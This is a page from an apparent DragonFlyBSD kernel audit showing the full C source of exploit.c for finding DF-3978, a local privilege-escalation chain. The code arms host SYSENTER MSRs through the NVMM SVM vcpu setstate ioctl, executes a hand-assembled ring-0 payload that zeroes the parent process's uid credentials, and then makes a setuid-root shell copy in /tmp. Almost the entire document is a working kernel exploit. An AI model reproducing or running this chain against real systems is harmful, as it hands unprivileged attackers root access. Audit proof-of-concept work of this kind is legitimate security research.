⬢ DragonFlyBSD Kernel Audit
DF-3978 / exploit.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
/*
 * exploit.c -- DF-3978 full chain: unprivileged NVMM SVM user -> uid=0.
 *
 * Chain (file refs are into the DragonFly tree):
 *   [1] NVMM_IOC_VCPU_SETSTATE writes attacker msrs[] verbatim into the
 *       VMCB, including SYSENTER_{CS,ESP,EIP}
 *       (sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:2005-2010).
 *   [2] NVMM_IOC_VCPU_RUN -> svm_vmrun asm executes `vmload` before every
 *       `vmrun` (sys/dev/virtual/nvmm/x86/nvmm_x86_svmfunc.S:180),
 *       installing those values into the live IA32_SYSENTER_* MSRs.
 *   [3] #VMEXIT does not restore them (host save area does not cover
 *       VMLOAD-managed MSRs) and svm_vcpu_guest_misc_leave()
 *       (nvmm_x86_svm.c:1524-1537) restores only STAR/LSTAR/CSTAR/SFMASK/
 *       FSBASE/KERNELGSBASE -> the corruption persists on the CPU
 *       (verified live: kern.df3978_msrs shows the armed values).
 *   [4] `sysenter` from ANY process transfers to ring 0 at
 *       IA32_SYSENTER_EIP with RSP=IA32_SYSENTER_ESP, CS=IA32_SYSENTER_CS.
 *       On this CPU (qemu64 TCG: no SMEP/SMAP) the ring-0 gadget lives in
 *       a user page.  NB: QEMU's translator implements the Intel SDM rule
 *       (SYSENTER in *64-bit* mode -> #UD, observed as SIGILL in phase
 *       A0), while AMD silicon (where SVM exists) allows it in long mode;
 *       the compat-mode (32-bit CS) SYSENTER used for the pivot is valid
 *       on both.  The pivot is executed by a forked child that never
 *       touched /dev/nvmm -- demonstrating the "any process" clause.
 *   [5] Payload: reads CR0 (proof of CPL0), patches the PARENT process's
 *       struct ucred (cr_uid/cr_ruid/cr_svuid = 0), returns to the child
 *       via iretq.  Parent observes uid=0.
 *
 * Usage: ./exploit <pproc> <off_p_ucred> <off_cr_uid> <off_cr_ruid>
 *                   <off_cr_svuid> [stage]  (hex, from the df3978 rig;
 *                   pproc=0 -> deferred rig resolve;
 *                   stage: full|arm|consume|baseline)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>
#include <setjmp.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <dev/virtual/nvmm/nvmm.h>
#include <dev/virtual/nvmm/nvmm_ioctl.h>

#define HVA_BASE	0x10000000UL
#define COMM_BASE	0x30000000UL
#define RAM_SIZE	(2UL * 1024 * 1024)
#define G_CODE		0x1000
#define G_STACK	0x7000

#define PAY_VA		0x40000000UL	/* CPL0 payload page (RWX)      */
#define CONT_VA		(PAY_VA + 0x200)
#define STUB32		(PAY_VA + 0x300)	/* compat sysenter stub  */
#define CROUT		(PAY_VA + 0xf00)	/* CR0 proof slot        */
#define MARK		(PAY_VA + 0xf08)	/* CPL0 marker 0x3978    */
#define PPSLOT		(PAY_VA + 0xf10)	/* struct proc * target  */
#define USTK		0x50000000UL	/* CPL0/user stack pages        */
#define USTACK_TOP	(USTK + 0x2000)	/* iretq RSP; retaddr lives here */
#define R0_STACK	(USTK + 0x800)	/* SYSENTER_ESP value           */

#define HIJACK_SYSENTER_CS	0x08	/* GSEL(GCODE_SEL=1, SEL_KPL)   */
#define CHILD_WIN_CODE		0x42

static int fd;
static nvmm_machid_t machid;
static uint64_t off_p_ucred, off_cr_uid, off_cr_ruid, off_cr_svuid;

static sigjmp_buf jb;
static volatile sig_atomic_t got_sig;

static void child_after0(void) __attribute__((__noreturn__, __used__));

static void
sig_handler(int sig)
{
	got_sig = sig;
	siglongjmp(jb, 1);
}

/* 64-bit-mode sysenter: informational only.  Under QEMU TCG this faults
 * with SIGILL (#UD: Intel SDM 64-bit rule); on AMD hardware it behaves
 * like the compat form.  Safe to run in-process: the fault happens with
 * CS unchanged (64-bit), so siglongjmp recovers cleanly. */
static int
try_sysenter64(void)
{
	struct sigaction sa, osa;
	int r = -1;

	got_sig = 0;
	memset(&sa, 0, sizeof(sa));
	sa.sa_handler = sig_handler;
	sigemptyset(&sa.sa_mask);
	sigaction(SIGSEGV, &sa, &osa);
	sigaction(SIGILL, &sa, NULL);
	sigaction(SIGBUS, &sa, NULL);

	if (sigsetjmp(jb, 1) == 0) {
		__asm volatile (
			"	.byte	0x0F, 0x34	\n"	/* sysenter */
			"	int3			\n"
			: : : "memory");
		r = 0;
	} else {
		r = got_sig;
	}
	sigaction(SIGSEGV, &osa, NULL);
	return r;
}

/* Far-return down into the 32-bit compat code segment (GUCODE32_SEL=3 ->
 * selector 0x1b) and execute the sysenter stub there.  Never returns. */
static void __attribute__((__noreturn__, __noinline__))
compat_sysenter(void)
{
	__asm volatile (
		"	pushq	$0x1b			\n"
		"	pushq	%0			\n"
		"	lretq				\n"
		:
		: "r"((uint64_t)STUB32)
		: "memory");
	__builtin_unreachable();
}

static void
die(const char *m)
{
	fprintf(stderr, "DIE: %s: %s\n", m, strerror(errno));
	exit(1);
}

/* ---- byte emitter for the CPL0 payload ---- */
static uint8_t *pp;
static void e8_(uint8_t b0)			{ *pp++ = b0; }
static void e16_(uint8_t b0, uint8_t b1)	{ pp[0]=b0; pp[1]=b1; pp+=2; }
static void e24_(uint8_t a, uint8_t b, uint8_t c){ pp[0]=a; pp[1]=b; pp[2]=c; pp+=3; }
static void e32_(uint8_t a, uint8_t b, uint8_t c, uint8_t d)
						{ pp[0]=a; pp[1]=b; pp[2]=c; pp[3]=d; pp+=4; }
static void eimm32_(uint32_t v)			{ memcpy(pp, &v, 4); pp += 4; }
static void eimm64_(uint64_t v)			{ memcpy(pp, &v, 8); pp += 8; }

static void
build_payload(uint64_t pproc)
{
	uint8_t *page = (uint8_t *)PAY_VA;
	uint32_t mark32 = (uint32_t)MARK;
	size_t jz_pos, jz_target;

	memset(page, 0xCC, 0x1000);
	pp = page;

	/* mov rax, cr0 ; mov [CROUT], rax   -- CPL0 proof */
	e24_(0x48, 0x0F, 0x20); e8_(0xC0);
	e16_(0x48, 0xA3); eimm64_(CROUT);
	/* mov rax, [PPSLOT]                 -- target struct proc * */
	e16_(0x48, 0xA1); eimm64_(PPSLOT);
	/* mov rax, [rax+off_p_ucred] */
	e24_(0x48, 0x8B, 0x80); eimm32_((uint32_t)off_p_ucred);
	/* test rax, rax ; jz skip           -- never fault in ring 0 */
	e24_(0x48, 0x85, 0xC0);
	jz_pos = (size_t)(pp - page);
	e16_(0x74, 0x00);				/* patched below */
	/* mov dword [rax+off_cr_X], 0   (uid/ruid/svuid) */
	e16_(0xC7, 0x80); eimm32_((uint32_t)off_cr_uid);   eimm32_(0);
	e16_(0xC7, 0x80); eimm32_((uint32_t)off_cr_ruid);  eimm32_(0);
	e16_(0xC7, 0x80); eimm32_((uint32_t)off_cr_svuid); eimm32_(0);
	jz_target = (size_t)(pp - page);
	page[jz_pos + 1] = (uint8_t)(jz_target - (jz_pos + 2));
	/* mov dword [MARK], 0x3978 */
	e24_(0xC7, 0x04, 0x25); eimm32_(mark32); eimm32_(0x3978);
	/* ---- iretq frame back to CPL3 ---- */
	e16_(0x6A, 0x23);				/* push 0x23 (SS)   */
	e16_(0x48, 0xB8); eimm64_(USTACK_TOP);		/* mov rax, USTACK_TOP */
	e8_(0x50);					/* push rax (RSP)   */
	e8_(0x9C);					/* pushfq           */
	e24_(0x81, 0x0C, 0x24); eimm32_(0x200);		/* or [rsp], IF     */
	e16_(0x6A, 0x2B);				/* push 0x2b (CS)   */
	e16_(0x48, 0xB8); eimm64_(CONT_VA);		/* mov rax, CONT_VA */
	e8_(0x50);					/* push rax (RIP)   */
	e16_(0x48, 0xCF);				/* iretq            */

	/* CONT_VA: trampoline: ret into child_after0 (retaddr at USTACK_TOP) */
	pp = page + 0x200;
	e8_(0xC3);

	/* STUB32 (compat mode): sysenter ; ud2 */
	pp = page + 0x300;
	e16_(0x0F, 0x34);
	e16_(0x0F, 0x0B);

	*(uint64_t *)CROUT  = 0;
	*(uint32_t *)MARK   = 0;
	*(uint64_t *)PPSLOT = pproc;
	*(uint64_t *)USTACK_TOP = (uint64_t)(uintptr_t)&child_after0;

	printf("[P] payload bytes @%#lx:", PAY_VA);
	for (size_t i = 0; i < 0x50; i++)
		printf("%02x", page[i]);
	printf("\n");
}

/*
 * Runs in the sacrificial child, entered from CPL0 via CONT_VA's `ret`.
 * The payload patched the PARENT's ucred (PPSLOT); this child reports the
 * ring-0 proof from its own COW copy of the payload page and exits with
 * the success code the parent waits for.
 */
static void __attribute__((__noreturn__, __used__))
child_after0(void)
{
	uint64_t cr0 = *(uint64_t *)CROUT;
	uint32_t mark = *(uint32_t *)MARK;

	printf("[C5] RETURNED FROM RING 0 (child pid=%d): cr0=%#llx "
	    "marker=%#x%s\n", getpid(), (unsigned long long)cr0, mark,
	    (mark == 0x3978 && cr0 != 0) ? "   *** RING 0 EXECUTED ***" : "");
	printf("[C6] child's own uid=%d (the payload patched the PARENT's "
	    "creds; the child never opened /dev/nvmm)\n", getuid());
	fflush(stdout);
	_exit(CHILD_WIN_CODE);
}

/*
 * The consumer child inherits the payload/stack pages copy-on-write from
 * the fork.  A kernel-mode (CPL0) write to a COW page cannot be resolved
 * by the VM system (user-mode faults only), so force the child's private
 * writable copies now, from user mode, for every location the ring-0
 * payload writes: the CROUT/MARK/PPSLOT slots and the iretq frame area
 * below the ring-0 stack pointer.
 */
static void
cow_pre_touch(void)
{
	volatile uint64_t *w;

	for (w = (volatile uint64_t *)CROUT; (uintptr_t)w < PPSLOT + 8; w++)
		*w = *w;
	for (w = (volatile uint64_t *)(R0_STACK - 0x80);
	    (uintptr_t)w < R0_STACK + 8; w++)
		*w = *w;
}

/*
 * Fork a fresh process that far-returns into compat mode and executes
 * `sysenter` there.  Returns: -1 fork error, else the decoded wait status
 * info: on signal -> 128+sig, on CHILD_WIN_CODE exit -> CHILD_WIN_CODE.
 */
static int
run_consumer_child(void)
{
	pid_t pid;
	int status;

	pid = fork();
	if (pid < 0)
		die("fork");
	if (pid == 0) {
		signal(SIGSEGV, SIG_DFL);
		signal(SIGILL, SIG_DFL);
		signal(SIGBUS, SIG_DFL);
		setvbuf(stdout, NULL, _IONBF, 0);
		cow_pre_touch();
		compat_sysenter();		/* never returns */
		_exit(99);
	}
	if (waitpid(pid, &status, 0) < 0)
		die("waitpid");
	if (WIFSIGNALED(status))
		return 128 + WTERMSIG(status);
	if (WIFEXITED(status))
		return WEXITSTATUS(status);
	return -2;
}

int
main(int argc, char **argv)
{
	struct nvmm_ioc_capability c;
	struct nvmm_ioc_machine_create mc;
	struct nvmm_ioc_hva_map hm;
	struct nvmm_ioc_gpa_map gm;
	struct nvmm_ioc_vcpu_create vc;
	struct nvmm_ioc_vcpu_setstate ss;
	struct nvmm_ioc_vcpu_run rr;
	struct nvmm_comm_page *comm;
	struct nvmm_x64_state *st;
	uint64_t pproc;
	int r;
	const char *stage = (argc > 6) ? argv[6] : "full";

	if (argc != 6 && argc != 7) {
		fprintf(stderr,
		    "usage: %s pproc off_p_ucred off_cr_uid off_cr_ruid "
		    "off_cr_svuid [stage]   (hex; from df3978 rig; pproc=0 "
		    "-> deferred resolve; stage: full|arm|consume|baseline)\n",
		    argv[0]);
		return 2;
	}
	pproc        = strtoull(argv[1], NULL, 16);
	off_p_ucred  = strtoull(argv[2], NULL, 16);
	off_cr_uid   = strtoull(argv[3], NULL, 16);
	off_cr_ruid  = strtoull(argv[4], NULL, 16);
	off_cr_svuid = strtoull(argv[5], NULL, 16);

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("[*] DF-3978 exploit; pid=%d pproc=%#llx "
	    "off(p_ucred)=%#llx off(cr_uid)=%#llx\n",
	    getpid(), (unsigned long long)pproc,
	    (unsigned long long)off_p_ucred,
	    (unsigned long long)off_cr_uid);
	printf("[*] uid=%d euid=%d\n", getuid(), geteuid());

	if (pproc == 0) {
		/* deferred mode: root side resolves our pid via the rig and
		 * drops the struct proc * into /tmp/df3978.pproc */
		FILE *f;
		int i;
		printf("[W] pid=%d: waiting for /tmp/df3978.pproc ...\n",
		    getpid());
		for (i = 0; i < 120; i++) {
			if ((f = fopen("/tmp/df3978.pproc", "r")) != NULL) {
				if (fscanf(f, "%llx",
				    (unsigned long long *)&pproc) == 1 &&
				    pproc != 0) {
					fclose(f);
					break;
				}
				fclose(f);
			}
			sleep(2);
		}
		if (pproc == 0)
			die("no pproc file");
		printf("[W] got pproc=%#llx\n", (unsigned long long)pproc);
	}

	if (mmap((void *)PAY_VA, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
	    MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) != (void *)PAY_VA)
		die("mmap PAY");
	if (mmap((void *)USTK, 0x3000, PROT_READ | PROT_WRITE,
	    MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) != (void *)USTK)
		die("mmap USTK");
	build_payload(pproc);

	if (strcmp(stage, "baseline") == 0) {
		/* stage: consumer child on a clean host (MSRs must be
		 * un-armed): expect a signal death, machine must survive */
		r = run_consumer_child();
		printf("[baseline] compat sysenter (child): %s (status %d)\n",
		    r >= 128 ? "faulted" : "??", r);
		printf("[baseline] guest survived: pid=%d alive\n", getpid());
		return 0;
	}

	if (strcmp(stage, "consume") == 0) {
		/* stage: consumer child against previously-armed MSRs */
		printf("[consume] forking consumer child (compat-mode "
		    "sysenter) ...\n");
		r = run_consumer_child();
		if (r == CHILD_WIN_CODE) {
			printf("[consume] consumer child returned FROM RING 0; "
			    "this process now has uid=%d euid=%d%s\n",
			    getuid(), geteuid(),
			    getuid() == 0 ? "   *** UID 0 ***" : "");
			if (getuid() == 0) {
				system("id");
				system("echo DF3978-PWNED > "
				    "/tmp/df3978_pwned; "
				    "ls -l /tmp/df3978_pwned");
			}
		} else {
			printf("[consume] child status %d\n", r);
		}
		return r == CHILD_WIN_CODE ? 0 : 9;
	}

	/* ---- phase A: baseline compat sysenter on a clean host ---- */
	r = run_consumer_child();
	printf("[A] baseline compat sysenter (child): %s (status %d)\n",
	    r >= 128 ? "faulted" : "??", r);
	/* informational: 64-bit-mode sysenter */
	r = try_sysenter64();
	printf("[A0] 64-bit sysenter direct: %s (signal %d) [Intel-SDM #UD "
	    "rule under QEMU; valid on AMD silicon]\n",
	    r == 0 ? "NO FAULT (?!)" : "faulted", r);

	/* ---- phase B: arm VMCB SYSENTER fields + one VCPU_RUN ---- */
	fd = open("/dev/nvmm", O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		die("open(/dev/nvmm)");

	memset(&c, 0, sizeof(c));
	if (ioctl(fd, NVMM_IOC_CAPABILITY, &c))
		die("capability");
	printf("[B] nvmm capability v%u ok\n", c.cap.version);

	memset(&mc, 0, sizeof(mc));
	if (ioctl(fd, NVMM_IOC_MACHINE_CREATE, &mc))
		die("machine_create");
	machid = mc.machid;

	memset(&hm, 0, sizeof(hm));
	hm.machid = machid; hm.hva = HVA_BASE; hm.size = RAM_SIZE;
	if (ioctl(fd, NVMM_IOC_HVA_MAP, &hm))
		die("hva_map");

	memset(&gm, 0, sizeof(gm));
	gm.machid = machid; gm.hva = HVA_BASE; gm.gpa = 0; gm.size = RAM_SIZE;
	gm.prot = PROT_READ | PROT_WRITE | PROT_EXEC;
	if (ioctl(fd, NVMM_IOC_GPA_MAP, &gm))
		die("gpa_map");

	memset(&vc, 0, sizeof(vc));
	vc.machid = machid; vc.cpuid = 0; vc.comm = (void *)COMM_BASE;
	if (ioctl(fd, NVMM_IOC_VCPU_CREATE, &vc))
		die("vcpu_create");
	comm = (struct nvmm_comm_page *)vc.comm;

	*(uint8_t *)(HVA_BASE + G_CODE) = 0xF4;		/* hlt */

	st = &comm->state;
	memset(st, 0, sizeof(*st));
	for (int i = 0; i < NVMM_X64_NSEG; i++) {
		st->segs[i].limit = 0xFFFF;
		st->segs[i].attrib.type = 3;
		st->segs[i].attrib.p = 1;
	}
	st->segs[NVMM_X64_SEG_GDT].attrib.type = 2;
	st->segs[NVMM_X64_SEG_IDT].attrib.type = 2;
	st->segs[NVMM_X64_SEG_TR].attrib.type = 3;
	st->segs[NVMM_X64_SEG_TR].attrib.s = 0;
	st->segs[NVMM_X64_SEG_LDT].attrib.s = 0;
	st->gprs[NVMM_X64_GPR_RFLAGS] = 2;
	st->gprs[NVMM_X64_GPR_RIP] = G_CODE;
	st->gprs[NVMM_X64_GPR_RSP] = G_STACK;
	st->crs[NVMM_X64_CR_CR0] = 0x10;
	st->crs[NVMM_X64_CR_XCR0] = 1;
	st->drs[NVMM_X64_DR_DR6] = 0xFFFF0FF0;
	st->drs[NVMM_X64_DR_DR7] = 0x400;

	/* ---- the attack: CPL0 pivot parameters in the VMCB ---- */
	st->msrs[NVMM_X64_MSR_SYSENTER_CS]  = HIJACK_SYSENTER_CS;
	st->msrs[NVMM_X64_MSR_SYSENTER_ESP] = R0_STACK;
	st->msrs[NVMM_X64_MSR_SYSENTER_EIP] = PAY_VA;

	comm->state_wanted = NVMM_X64_STATE_ALL;
	memset(&ss, 0, sizeof(ss));
	ss.machid = machid; ss.cpuid = 0;
	if (ioctl(fd, NVMM_IOC_VCPU_SETSTATE, &ss))
		die("vcpu_setstate");
	printf("[B] setstate ok: SYSENTER_CS=%#x ESP=%#lx EIP=%#lx (payload "
	    "page) armed\n", HIJACK_SYSENTER_CS, R0_STACK, PAY_VA);

	memset(&rr, 0, sizeof(rr));
	rr.machid = machid; rr.cpuid = 0;
	r = ioctl(fd, NVMM_IOC_VCPU_RUN, &rr);
	printf("[B] vcpu_run rc=%d exit.reason=%d (any rc suffices: the asm "
	    "prologue's vmload already loaded the guest SYSENTER MSRs)\n",
	    r, rr.exit.reason);

	if (strcmp(stage, "arm") == 0) {
		printf("[arm] armed and one VCPU_RUN done; exiting with MSRs "
		    "left corrupted (the finding's persistence property)\n");
		return 0;
	}

	/* ---- phase C: a forked process that never touched nvmm pivots ---- */
	printf("[C] forking consumer child (compat-mode sysenter) ...\n");
	r = run_consumer_child();
	if (r == CHILD_WIN_CODE) {
		printf("[D] consumer child returned FROM RING 0; this "
		    "(arming) process now has uid=%d euid=%d%s\n",
		    getuid(), geteuid(),
		    getuid() == 0 ? "   *** UID 0 ***" : "");
		if (getuid() == 0) {
			system("id");
			system("echo DF3978-PWNED > /tmp/df3978_pwned; "
			    "ls -l /tmp/df3978_pwned");
			system("cp /bin/sh /tmp/rootsh && chmod 4755 "
			    "/tmp/rootsh && ls -l /tmp/rootsh && "
			    "rm -f /tmp/rootsh");
		}
		printf("[*] done (uid0 chain complete)\n");
		return 0;
	}
	printf("[C] consumer child did NOT pivot (status %d): host SYSENTER "
	    "MSRs not corrupted (fixed backend / no SVM)\n", r);
	return 9;
}